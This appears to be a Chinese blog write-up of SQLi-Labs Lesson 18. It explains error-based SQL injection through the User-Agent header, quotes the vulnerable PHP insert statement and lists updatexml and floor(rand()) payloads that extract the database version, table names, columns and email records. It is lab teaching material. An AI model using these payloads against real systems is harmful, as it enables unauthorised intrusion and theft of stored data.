SQLi Labs Lesson18

Lesson - 18

POST - Header Injection - Uagent field - Error based


首先进入欢迎界面:


本节对username,password都进行了过滤。

后台过滤的php源代码:

$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

所以不能利用Username或者Password进行注入。


假设我们知道账户,密码登陆。(以admin为例)


发现网页显示了User Agent,查看php源代码,发现其中有如下语句:

$uagent = $_SERVER['HTTP_USER_AGENT'];
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

所以可以利用构造User Agent进行注入。

有很多工具可以利用,如:burp suite,firefox的插件等。

我用的是firefox插件TamperData。


在User-Agent 后 加上   ' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

点击确定后,结果如图:


进一步更改User-Agent,在原本的User-Agent后加上:

' or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) , 1, 1) #

点击确定,结果如图:

得到MySQL的版本。


同理,可以得到表名:

' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) , 1, 1) #

得到emails表的字段名:

第一字段:

' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),0x7e),1) ,1,1)#

第二字段:

' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 1,1),0x7e),1) ,1,1)#

第三字段:

' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 2,1),0x7e),1) ,1,1)#

猜测emails表中应该没有第三个字段,只有id,email_id两个字段。


同理,可以得到表中内容:

' or updatexml(1,concat(0x7e,(select email_id from emails limit 0,1),0x7e),1) , 1, 1) #



用(select 1 from (select count(*),concat(database(), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit 0,1),替代updatexml也可以实现。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值